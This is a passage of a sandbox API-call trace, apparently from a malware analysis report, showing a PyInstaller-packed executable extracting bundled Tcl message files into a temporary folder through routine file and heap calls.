"c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ru.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.767] GetLastError () returned 0x2 [0037.767] SetLastError (dwErrCode=0x2) [0037.767] GetLastError () returned 0x2 [0037.767] SetLastError (dwErrCode=0x2) [0037.767] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ru.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ru.msg", lpFilePart=0x0) returned 0x3c [0037.767] GetLastError () returned 0x2 [0037.767] SetLastError (dwErrCode=0x2) [0037.767] GetLastError () returned 0x2 [0037.767] SetLastError (dwErrCode=0x2) [0037.767] GetLastError () returned 0x2 [0037.767] SetLastError (dwErrCode=0x2) [0037.767] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ru.msg") returned 61 [0037.767] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.768] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ru.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ru.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.768] GetFileType (hFile=0x10c) returned 0x1 [0037.768] htonl (hostlong=0xf7070000) returned 0x7f7 [0037.768] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.768] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x7f7, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x7f7, lpOverlapped=0x0) returned 1 [0037.769] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.769] CloseHandle (hObject=0x10c) returned 1 [0037.769] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0037.769] htonl (hostlong=0x30000000) returned 0x30 [0037.769] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.770] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.770] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.770] GetFileType (hFile=0x10c) returned 0x1 [0037.770] htonl (hostlong=0x21965700) returned 0x579621 [0037.770] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c4621, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.770] htonl (hostlong=0x99000000) returned 0x99 [0037.770] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x99) returned 0x55cfe0 [0037.770] htonl (hostlong=0x99000000) returned 0x99 [0037.770] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.770] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.770] htonl (hostlong=0xf2000000) returned 0xf2 [0037.770] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xf2) returned 0x550600 [0037.770] htonl (hostlong=0x99000000) returned 0x99 [0037.770] htonl (hostlong=0xf2000000) returned 0xf2 [0037.770] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.770] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.770] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.770] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.770] CloseHandle (hObject=0x10c) returned 1 [0037.770] GetLastError () returned 0x0 [0037.770] SetLastError (dwErrCode=0x0) [0037.770] GetLastError () returned 0x0 [0037.770] SetLastError (dwErrCode=0x0) [0037.770] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.770] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.771] GetFileType (hFile=0x10c) returned 0x1 [0037.771] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.771] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.771] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.771] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.771] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.771] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.771] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.771] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.771] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.771] CloseHandle (hObject=0x10c) returned 1 [0037.771] GetLastError () returned 0x0 [0037.771] SetLastError (dwErrCode=0x0) [0037.771] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.771] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.771] GetFileType (hFile=0x10c) returned 0x1 [0037.771] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.771] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.771] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.771] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.771] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.771] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.771] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.771] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.772] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.772] CloseHandle (hObject=0x10c) returned 1 [0037.772] GetLastError () returned 0x0 [0037.772] SetLastError (dwErrCode=0x0) [0037.772] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ru_ua.msg") returned 64 [0037.772] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ru_ua.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ru_ua.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.772] GetLastError () returned 0x2 [0037.772] SetLastError (dwErrCode=0x2) [0037.772] GetLastError () returned 0x2 [0037.772] SetLastError (dwErrCode=0x2) [0037.772] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ru_ua.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ru_ua.msg", lpFilePart=0x0) returned 0x3f [0037.772] GetLastError () returned 0x2 [0037.772] SetLastError (dwErrCode=0x2) [0037.772] GetLastError () returned 0x2 [0037.772] SetLastError (dwErrCode=0x2) [0037.772] GetLastError () returned 0x2 [0037.772] SetLastError (dwErrCode=0x2) [0037.772] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ru_ua.msg") returned 64 [0037.772] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.772] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ru_ua.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ru_ua.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.772] GetFileType (hFile=0x10c) returned 0x1 [0037.772] htonl (hostlong=0xf2000000) returned 0xf2 [0037.773] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.773] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xf2, lpOverlapped=0x0) returned 1 [0037.773] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.774] CloseHandle (hObject=0x10c) returned 1 [0037.774] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.774] htonl (hostlong=0x30000000) returned 0x30 [0037.774] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.774] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.774] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.774] GetFileType (hFile=0x10c) returned 0x1 [0037.774] htonl (hostlong=0xba965700) returned 0x5796ba [0037.774] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c46ba, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.775] htonl (hostlong=0x72010000) returned 0x172 [0037.775] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x172) returned 0x550600 [0037.775] htonl (hostlong=0x72010000) returned 0x172 [0037.775] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.775] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.775] htonl (hostlong=0x88040000) returned 0x488 [0037.775] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x488) returned 0x550780 [0037.775] htonl (hostlong=0x72010000) returned 0x172 [0037.775] htonl (hostlong=0x88040000) returned 0x488 [0037.775] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.775] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.775] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.775] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.775] CloseHandle (hObject=0x10c) returned 1 [0037.775] GetLastError () returned 0x0 [0037.775] SetLastError (dwErrCode=0x0) [0037.775] GetLastError () returned 0x0 [0037.775] SetLastError (dwErrCode=0x0) [0037.775] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.775] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.775] GetFileType (hFile=0x10c) returned 0x1 [0037.775] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.775] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.775] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.775] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.775] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.775] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.776] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.776] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.776] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.776] CloseHandle (hObject=0x10c) returned 1 [0037.776] GetLastError () returned 0x0 [0037.776] SetLastError (dwErrCode=0x0) [0037.776] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.776] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.776] GetFileType (hFile=0x10c) returned 0x1 [0037.776] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.776] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.776] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.776] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.776] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.776] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.776] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.776] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.776] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.776] CloseHandle (hObject=0x10c) returned 1 [0037.776] GetLastError () returned 0x0 [0037.776] SetLastError (dwErrCode=0x0) [0037.776] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sh.msg") returned 61 [0037.776] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sh.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\sh.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.777] GetLastError () returned 0x2 [0037.777] SetLastError (dwErrCode=0x2) [0037.777] GetLastError () returned 0x2 [0037.777] SetLastError (dwErrCode=0x2) [0037.777] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sh.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sh.msg", lpFilePart=0x0) returned 0x3c [0037.777] GetLastError () returned 0x2 [0037.777] SetLastError (dwErrCode=0x2) [0037.777] GetLastError () returned 0x2 [0037.777] SetLastError (dwErrCode=0x2) [0037.777] GetLastError () returned 0x2 [0037.777] SetLastError (dwErrCode=0x2) [0037.777] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sh.msg") returned 61 [0037.777] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.777] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sh.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\sh.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.778] GetFileType (hFile=0x10c) returned 0x1 [0037.778] htonl (hostlong=0x88040000) returned 0x488 [0037.778] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.778] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x488, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x488, lpOverlapped=0x0) returned 1 [0037.779] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.779] CloseHandle (hObject=0x10c) returned 1 [0037.779] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550780 | out: hHeap=0x530000) returned 1 [0037.779] htonl (hostlong=0x30000000) returned 0x30 [0037.779] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.779] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.779] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.779] GetFileType (hFile=0x10c) returned 0x1 [0037.780] htonl (hostlong=0x2c985700) returned 0x57982c [0037.780] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c482c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.780] htonl (hostlong=0x81010000) returned 0x181 [0037.780] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x181) returned 0x550600 [0037.780] htonl (hostlong=0x81010000) returned 0x181 [0037.780] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.780] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.780] htonl (hostlong=0xb3040000) returned 0x4b3 [0037.780] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4b3) returned 0x550790 [0037.780] htonl (hostlong=0x81010000) returned 0x181 [0037.780] htonl (hostlong=0xb3040000) returned 0x4b3 [0037.780] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.780] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.780] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.780] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.780] CloseHandle (hObject=0x10c) returned 1 [0037.780] GetLastError () returned 0x0 [0037.780] SetLastError (dwErrCode=0x0) [0037.780] GetLastError () returned 0x0 [0037.780] SetLastError (dwErrCode=0x0) [0037.780] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.780] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.780] GetFileType (hFile=0x10c) returned 0x1 [0037.780] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.780] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, 